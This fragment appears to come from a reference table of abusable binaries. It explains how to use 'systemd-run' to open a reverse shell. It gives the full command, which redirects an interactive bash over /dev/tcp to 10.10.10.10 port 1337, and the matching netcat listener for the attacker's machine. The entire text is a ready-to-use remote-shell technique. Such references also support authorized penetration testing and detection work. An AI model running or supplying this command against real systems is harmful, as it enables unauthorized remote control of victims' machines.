code |
| Run a reverse shell to a remote machine. The reverse shell connects to the specified IP and port. Since `systemd-run` does not handle exported environment variables, the IP address and port must be specified directly in the command. Run `nc -l -p 12345` on the attacker box to receive the shell. |
systemd-run /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' |
